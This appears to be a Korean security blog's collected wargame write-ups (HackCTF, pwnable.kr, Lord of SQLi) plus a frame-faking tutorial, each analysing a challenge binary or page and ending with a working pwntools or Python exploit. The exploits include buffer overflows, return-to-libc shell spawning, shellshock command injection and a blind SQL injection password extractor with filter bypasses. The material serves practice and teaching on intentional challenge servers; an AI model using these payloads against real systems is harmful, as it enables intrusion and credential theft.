file 명령으로 문제 바이너리를 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

checksec 명령으로 확인해보면 nx 보호기법이 적용된 것을 확인할 수 있다.

random 바이너리를 실행해보면 다음과 같다.

ida 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

v5에 값을 입력받고, v5의 값과 v4의 값이 같다면 system() 함수로 flag를 출력한다. v4의 값은 현재 시간을 기준으로 난수를 저장한다.

따라서 서버시간과 동일하게 난수를 출력하는 코드를 짜서 실행하면 될 것 같다.

따라서 익스 코드는 다음과 같다.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main()
{
	int t = time(0);
	srand(t);
	int r = rand();
	printf("%d", r);
	return 0;
}

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16

문제를 file 명령으로 확인해보면 64비트 바이너리임을 확인할 수 있다.

checksec명령으로 적용된 보호기법을 보면 nx 보호기법이 적용되어 있는 것을 확인할 수 있다.

 

ida 헥스레이를 활용하여 사용된 함수들을 보면 다음과 같다.

main 함수
get_poem 함수
get_author 함수
rate_poem 함수
reward 함수

main 함수를 보면 무한루프를 돌고 있고, dword_6024E0이 1000000이 될 경우 무한루프를 탈출하며 reward() 함수를 호출한다.

reward 함수에서는 flag.txt 값을 출력한다.

dword_6024E0의 값을 1000000으로 만들어 주면 될 것 같다.

 

위 함수들에서 bof를 터뜨릴 수 있는 함수는 get_poem 함수와 get_author 함수가 있다. 그러나 get_poem 함수는 gets()함수 호출 후 dword_6024E0을 0으로 초기화 하기 때문에 payload는 get_author 함수의 gets() 함수에 넣어야 할 것 같다.

 

get_author 함수의 어셈 코드는 다음과 같다.

0x6024a0의 위치에 입력을 받는다.

 

main 함수의 비교문을 보면 다음과 같다.

0x6024e0 의 값과 0xf4240(1000000)과 비교를 한다.

 

0x6024a0과 0x6024e0의 offset 차이는 64이다.

따라서 get_author 함수에서 입력값을 64만큼 더미값으로 채우고 1000000을 넣으면 조건문을 만족시킬 수 있을 것 같다.

다음과 같이 익스코드를 작성하면 문제를 해결할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3012)

pay = 'A' * 64 + p64(1000000)

p.recvuntil('> ')
p.sendline('AAA')

p.recvuntil('> ')
p.sendline(pay)

p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15

문제 바이너리를 실행시키면 위와 같이 Segmentation fault가 떠서 nc 서버에 직접 접속하여 문제의 동작을 확인하였다.

문제에 접속하면 위와 같은 화면이 나오며 1~6번까지의 번호를 선택할 수 있다.

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 미티게이션을 확인해보면 nx가 걸려있다.

IDA로 문제 바이너리를 보면 다음과 같다.

main 함수를 보면 1번 선택시 바이너리에 적용된 미티게이션을 보여주고 있다.

2번 선택 시 Get_Money() 함수를 실행시키고 있다.

3번 선택 시 gold가 1999 이상이면 v6변수의 주소를 출력하는데, v6 변수의 주소는 system함수의 주소를 의미한다.

4번 선택시 gold가 2999 이상이면 s1의 주소를 출력하는데, s1의 주소는 "/bin/sh" 문자열의 위치를 의미한다. 

이 두 값을 통해 문제 이름처럼 rtl 공격을 시도할 수 있을 것 같다.

5번 선택시 read 함수로 buf에 값을 입력받는데,  buf의 크기는 128인데 그 이상의 값을 입력받으므로 bof가 발생한다. 

 

Get_Money() 함수는 다음과 같다.

main() 함수에서 2번을 선택시 실행되는 함수로 보여지는 것은 3번 메뉴까지 있는것처럼 보여지지만 4를 입력시 hidden number 을 입력했다고 출력하며 gold에 v2 값을 추가한다. v2는 rand()함수의 값으로 매우 큰 난수를 반환한다. 

 

따라서 이 문제를 해결하려면 main 함수에서 2번을 선택하고, 4번을 선택하여 gold 값을 키우고 그 값을 이용하여 main의 3,4번메뉴를 선택하여 system 함수의 주소와 "/bin/sh"의 주소를 구해 페이로드를 작성하여 5번 메뉴를 통해 페이로드를 전달하면 문제를 해결할 수 있을 것 같다.

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3010)

# make money
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '4')

# get system
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
sys_addr = int(p.recv(10), 16)

# get shell
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell_addr = int(p.recv(10), 16)

# payload
pay = ''
pay += 'A' * 144
pay += p32(sys_addr)
pay += 'B' * 4
pay += p32(shell_addr)

p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01

문제 설명을 보면 bash에 관한 충격적인 뉴스가 있다고 한다.
문제 서버에 접속하여 shellshock.c 파일을 보면 다음 코드와 같다.

#include <stdio.h>

int main()
{
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

system 함수로 bash 셸 스크립트로 shock_me를 출력하고 있다. 문제 설명에도 나와 있듯이 bash에 관한 취약점인것 같아서 bash 취약점을 키워드로 검색해보니 bash shellshock 취약점을 찾을 수 있었다.
환경변수와 함께 선언되는 함수 뒤에 원하는 명령어를 삽입할 수 있는 취약점이다.
환경변수를 설정할 때 (){ return; };처럼 함수를 설정하고 ; 뒤에 실행할 명령어를 입력하면 된다.


pwd 명령어를 실행하도록 입력하였더니 shellshock 에서 bash명령을 실행할 때 등록된 환경변수를 읽어와서 pwd명령을 실행한 결과를 보여준다. 따라서 다음과 같이 flag를 출력하도록 하고 ./shellshock를 실행하면 shellshock_pwn 계정의 권한으로 flag를 읽은 결과를 출력해준다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19

문제에 접속하여 flag 파일을 읽으려하면 권한 문제로 읽히지 않는다.

input파일을 실행해보면 다음과 같이 출력이 나온다.

또한 input.c 소스코드를 보면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



int main(int argc, char\\\\\\\\\\* argv[], char\\\\\\\\\\* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");



// argv

if(argc != 100) return 0; // 인자가 100이 아니면

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");



// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");



// file

FILE\\\\\\\\\\* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");



// network

int sd, cd;

// 소켓 구조체

struct sockaddr\\\\\\\\\\_in saddr, caddr;

sd = socket(AF\\\\\\\\\\_INET, SOCK\\\\\\\\\\_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin\\\\\\\\\\_family = AF\\\\\\\\\\_INET;

saddr.sin\\\\\\\\\\_addr.s\\\\\\\\\\_addr = INADDR\\\\\\\\\\_ANY;

// port 정보

saddr.sin\\\\\\\\\\_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr\\\\\\\\\\*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr\\\\\\_in);

cd = accept(sd, (struct sockaddr \\\\\\\\\\*)&caddr, (socklen\\\\\\\\\\_t\\\\\\\\\\*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");



// here's your flag

system("/bin/cat flag");

return 0;

}

Colored by Color Scripter
cs

 

//argv로 주석이 되어 있는 부분의 코드를 보면 인자의 크기가 100이 아니면, 인자의 'A'인덱스 즉 65번째 인덱스가 "\x00"가 아니고, 인자의 'B' 인덱스 즉 66번째 인덱스가 "\x20\x0a\x0d"가 아니면 프로그램을 종료하고, 위 조건들을 만족시키는 경우 Stage 1 clear을 출력한다.

 

//stdio로 주석이 되어 있는 부분의 코드를 보면 read 함수로 buf를 읽어오는데, 0(stdin)이 "\x00\x0a\x00\xff"이 아닐 경우, 2(stderr)이 "\x00\x0a\x02\xff"가 아닐 경우 조건을 프로그램을 종료하고, 조건들을 만족시킬 경우 Stage 2 clear을 출력한다.

 

//env로 주석이 되어 있는 부분의 코드를 보면 getenv()함수로 환경변수 "\xde\xad\xbe\xef"의 값이 "\xca\xfe\xba\xbe"가 아닐 경우 프로그램을 종료하고, 조건을 만족하면 Stage 3 clear을 출력한다.

 

//file로 주석이 되어 있는 부분의 코드를 보면 fopen()함수로 "\x0a"라는 이름의 파일을 열고 파일을 읽어 파일의 내용이 "\x00\x00\x00\x00"가 아니면 프로그램을 종료하고, 조건을 만족하면 Stage 4 clear을 출력한다.

 

//network로 주석이 되어 있는 부분의 코드를 보면 sockaddr_in 구조체를 사용하고 있고, 소켓 생성에 실패(socket 함수 -1 반환)하면 socket error을 출력하고 프로그램을 종료한다. saddr의 포트 정보에 인자의 'C' 인덱스 즉 67번째 인덱스의 값을 넣고, bind 함수로 소켓 통신할 준비를 해준다. 이 과정에서 에러가 발생할 경우 bind error use another port를 출력하고 프로그램을 종료한다. accept()함수로 소켓을 연결하고, 에러가 발생할 경우(return -1) accept error tell admin을 출력하고 프로그램을 종료한다. 이후 소켓에서 4바이트를 받아와서 받아온 값이 "\xde\xad\xbe\xef"가 맞다면 Stage 5 clear을 출력한다.

 

위 5가지의 조건을 모두 만족시키면 플래그를 읽을 수 있다.

 

문제를 해결하기 위해 pwntools를 이용하여 파이썬 코드로 작성하였다.

첫번째 조건을 만족시키기 위해 인자값을 조건에서 주어진 대로 설정하고, 인자를 전달하려면 process 함수의 argv 옵션을 이용하여 전달할 수 있다.

 

두 번째 조건을 만족시키기 위해 stdin으로는 "\x00\x0a\x00\xff"를 전달하였고, stderr일 경우 전달하는 파일을 만들어 "\x00\x0a\x02\xff"을 저장하여 process함수의 stderr옵션을 이용하여 전달하였다.

 

세 번째 조건을 만족시키기 위해 process함수의 env 옵션을 이용하여 환경변수를 설정하였다.

 

네 번째 조건을 만족시키기 위해 조건에 주어진 이름의 파일을 만들고, 파일 내용도 조건에 주어진 대로 지정해 주었다.

 

다섯 번째 조건을 만족시키기 위해 인자의 67번째('C')인덱스에 포트를 지정하고 지정한 포트로 nc 연결을 하여 조건에서 주어진 값을 전달하였다.

따라서 코드로 작성하면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22
from pwn import \\\*



argvs = [str(i) for i in range(100)]

argvs[65] = '\x00'

argvs[66] = '\x20\x0a\x0d'

argvs[67] = '3000'



p = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})



pay = '\x00\x0a\x00\xff'

with open('./stderr', 'w') as f:

f.write('\x00\x0a\x02\xff')



with open('\x0a', 'w') as f:

f.write('\x00\x00\x00\x00')



p.sendline(pay)



r = remote('localhost',3000)

r.send('\xde\xad\xbe\xef')



p.interactive()

Colored by Color Scripter
cs

또한 flag파일은 현재 경로에 없기 때문에 ln \\-s /home/input2/flag flag 명령으로 현재 경로에 심볼릭 링크를 걸어준 후 파이썬 코드를 실행하면 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13

file 명령어로 문제 파일을 확인하면 32비트 리눅스 실행파일임을 알 수 있다.

문제 파일을 실행하면 어떤 주소값을 출력하고, 사용자로부터 값을 입력받는다.

 

peda의 checksec명령을 이용하여 적용된 보호기법을 확인하면 nx와 pie보호기법이 적용되어 있음을 확인할 수 있다.

 

info func 명령으로 함수 목록을 확인하면 사용자 정의 함수는 다음과 같다.

 

ida 의 헥스레이 기능을 활용하여 각 함수들을 확인하면 다음과 같다.

j0n9hyun 함수는 flag 파일의 내용을 읽어와 출력하고 있고, welcome 함수는 welcome함수의 주소값을 출력하고, scanf함수를 반환하여 사용자로부터 값을 입력받고 있다. main 함수는 welcome 함수를 호출하고 있다.

문제 파일은 PIE보호기법이 적용되어 있기 때문에 실행할 때 마다 함수의 주소가 바뀌지만 상대적인 위치는 동일하므로 출력되는 welcome 함수의 주소를 통해 j0n9hyun함수의 주소값을 구할 수 있다. welcome 함수와 j0n9hyun함수는 0x909 - 0x809로 121 만큼 위치 차이가 난다.

welcome 함수에서 v1의 크기는 18인데 입력받는 곳에서 입력값의 크기를 제한하지 않기 때문에 bof가 발생한다.

따라서 18(v1 크기) + 4(ret까지 거리)만큼 입력값을 채우고 welcome 주소값을 이용하여 j0n9hyun 함수의 주소를 구해서 넣으면 j0n9hyun 함수를 실행시킬 수 있다. 이 과정을 익스 코드로 작성하면 다음과 같고, 이 익스 코드를 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3008)
p.recvline()
p.recvuntil('j0n9hyun is ')

w_addr = int(p.recv(10), 16)
# print(hex(w_addr))

pay = 'A'*22
pay += p32(w_addr-121)

p.sendline(pay) 
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10

Frame faking은 가짜 스택 프레임 포인터를 만들어 프로그램의 실행 흐름을 제어하는 것이다. Return Address영역 까지만 덮어쓸 수 있을 경우 사용 가능하다.

 

LEAVE & RET

LEAVE 명령어는 RBP(EBP) 레지스터에 저장된 값을 RSP(ESP)레지스터에 저장한다. RSP(ESP)레지스터가 가리키는 Stack영역의 값을 RBP(RSP) 레지스터에 저장한다.

LEAVE 명령을 어셈으로 표현하면 다음과 같다.

MOV RSP, RBP
POP RBP

RET 명령어는 RSP(ESP)레지스터가 가리키는 스택 영역의 값을 RIP(EIP)레지스터에 저장하고, JMP명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동한다.

POP RIP
JMP RIP

아래의 코드를 이용해 LEAVE, RET의 동작을 확인할 수 있다.

#include <stdlib.h>
#include <stdio.h>

void vuln(int a, int b, int c, int d)
{
    printf("%d, %d, %d, %d", a, b, c, d);
}

void main(int argc, char* argv[])
{
    vuln(1,2,3,4);
}

위 코드를 컴파일 한 후 gdb로 실행하여 다음과 같이 bp를 설정한다. -m32옵션을 이용하여 32비트로 컴파일 하였다.

0x804843d(main+13) : main()함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후

0x804840e(vuln+3) : vuln()함수에서 사용할 Frame Porinter를 EBP레지스터 저장한 후

0x804842e(vuln+35) : leave 명령어

첫 번째로 설정한 bp까지 실행하면 다음과 같다.

main() 함수에서 사용할 Frame Pointer 주소는 0xffffd048이다. 0xffffd048영역에는 값이 저장되어 있지 않고, 0xffffd04c영역에 Return Address(0xf7e21647)가 저장되어 있다. 이 Return Address는 main함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+3)까지 실행하면 다음과 같다.

vuln()함수에서 사용할 Frame Pointer의 주소는 0xffffd028이다. 0xffffd028 영역에는 main함수에서 사용하던 Frame Pointer의 주소값이 저장되어 있고, 0xffffd02c 영역에는 Return Address(0x0804844e)가 저장되어 있다. 이 Return Address는 vuln()함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+35)까지 실행하면 다음과 같다.

vuln()함수에서 사용하던 Frame Pointer의 주소를 ESP에  저장한다. ESP레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP레지스터에 저장한다. main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장하는 것이다.

다음과 같이 ret 명령어의 동작을 확인할 수 있다.

ESP 레지스터에 저장된 스택 영역에서값을 추출하여 EIP레지스터에 저장하고 EIP레지스터에 저장된 값으로 이동한다. EIP레지스터는 다음 실행할 명령어가 존재하는 메모리 주소를 저장하는 레지스터로 현재 명령어가 실행 완료되면 EIP레지스터에 저장된 주소에 위치한 명령어를 실행한다.

 

Frame Faking 

다음 코드를 이용하여 frame faking의 동작을 확인할 수 있다.

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln()
{
    char buf[50];
    printf("buf[50] address : %p\n", buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    // dlsym() : symbol과 연관된 주소값 반환, 컴파일 할때 -ldl 옵션을 사용해야 함
    // RTLD_NEXT : symbol과 일치하는 다음 함수의 포인터를 반환
    printf("Printf() address : %p\n", printf_addr);
    read(0, buf, 70);
}

void main()
{
    vuln();
}

Stack address, Libc address를 출력하고, read()함수를 이용해 사용자로 부터 70개의 문자를 입력받는다. 이로 인해 Return address 까지 값을 덮어쓸 수 있다.

gcc -m32 -fno-stack-protector -o ff ff.c -ldl 명령으로 컴파일 한다.

gdb로 0x08048571(vuln+86)에 bp를 설정하고 문자 70개를 입력하여 Frame Pointer, Return Address 영역을 덮어쓴다.

leave 명령어는 vuln()함수에서 사용하던 Frame Pointer의 주소(0xffffd038)를 ESP에 저장하고, EBP 레지스터에 저장된 Stack  영역 (0xffffd038)에서 값을 추출하여 EBP 레지스터에 저장한다. 원래는 main()함수에서 사용하던 Frame Pointer의 주소가 EBP에 저장되어야 하지만 지금 해당 영역은 overflow에 의해 0x41414141(AAAA)가 저장되어있다.

다음과 같이 Frame faking를 확인하기 위해 Return address 영역에 leave 명령어가 저장된 주소를 저장한다.

위와 같이 저장한후 실행하면 다음과 같다.

overflow에 의해 변경된 Frame Pointer(0x41414141)를 ESP에 저장한다.

leave 명령어가 다시 호출 됨으로써 ESP 레지스터의 값을 변경할 수 있으므로 코드의 흐름도 변경할 수 있다.

 

버퍼시작점 + 4 영역에 RTL 코드를 넣고 Frame Pointer 영역에 "RTL 코드가 저장된 주소 - 0x4" 주소를 저장하고, Return Address 영역에 leave 명령어가 저장된 주소를 저장하면 구조는 다음과 같다.

Return Address 영역에는 leave 명령어의 주소가 저장되어 있으므로 leave 명령어를 다시 실행하고, leave 명령어는 EBP레지스터에 Stack overflow로 인해 0x90909090(더미값) + RTL 코드가 저장되어 있고, 해당 값은 ESP에 저장되고 POP 명령에 의해 ESP의 값이 0x4 증가하면서 ESP는 RTL 코드를 가리키게 된다. leave 명령 실행 후 ret 명령이 실행되면 시스템 함수의 주소를 EIP에 저장하면서 RTL이 동작하게 된다.  

 

다음과 같이 필요한 offset들을 구하고 익스코드를 작성하면 쉘을 딸 수 있다.

from pwn import *

p = process('./ff')

p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr, 16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc, 16)

leave = 0x08048571

libcBase = libc - 0x49030
sysAddr = libcBase + 0x3a950
exit = libcBase + 0x2e7c0
binsh = libcBase + 0x15912b

ex = p32(0x90909090)
ex += p32(sysAddr)
ex += p32(exit)
ex += p32(binsh)
ex += '\x90' * (62 - len(ex))
ex += p32(stackAddr)
ex += p32(leave)

p.send(ex)
p.interactive()
# libc start : 0xf7e04000
# /bin/sh : 0xf7f5d12b
# printf : 0xf7e4d030

# libc base : 0x49030
# sys offset : 0x3a950
# exit offset : 0x2e7c0
# binsh offset : 0x15912b

문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

PIE(Position Independent Executable)는 위치 독립 실행이라는 뜻으로 바이너리가 실행될 때 마다 바이너리의 주소가 랜덤화 된다. 

다음의 소스코드를 컴파일 하여 PIE를 테스트 할 것이다.

#include <stdio.h>
  
char *gBuf = "Lazenca.0x0";
  
void lazenca() {
    printf("Lazenca.0x1\n");
}
  
void main(){
    printf("[.data]    : %p\n",gBuf);
    printf("[Function] : %p\n",lazenca);
}

다음과 같이 컴파일 하여 하나는 PIE를 적용하지 않고, 다른 하나는 PIE를 적용하도록 하였다.

PIE보호기법을 적용하려면 gcc에서 -fPIE와 -pie 옵션을 적용하면 된다.

PIE가 적용되지 않은 파일은 다음과 같이 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경되지 않는다.

PIE가 적용된 파일은 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경된다.

PIE 보호기법이 적용되어 있지 않다면 다음과 같이 코드 영역의 값이 고정된 주소값이다.

PIE 보호기법이 적용된 바이너리는 코드 영역의 값이 offset 값이여서 할당된 메모리 영역에 동적으로 위치한다.

file 명령어로 문제 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

프로그램을 실행시키면 다음과 같이 입력을 받고 끝난다.

gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.

info func명령으로 함수 목록을 확인하면 다음과 같다.

작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다. 

위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.

최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.

main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다. 

select_func함수에서는 인자로 받은 문자열이 "one"이면  one함수를 실행한다. 

실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.

gdb로 select_func함수를 보면 다음과 같다.

select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.

eax레지스터에 저장된 값은 다음과 같다.

현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.

입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.

파이썬 익스 코드를 작성하고 실행하면 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')

flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23

+ Recent posts